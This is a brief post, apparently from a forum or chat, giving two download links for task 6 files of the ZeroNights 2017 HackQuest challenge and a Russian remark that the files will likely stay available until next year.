http://hackquest.zeronights.org/downloads/task6/hq2017_task6_m116
http://hackquest.zeronights.org/downloads/task6/hq2017_task6_test.txt

До следующего года, думаю, никуда не денется.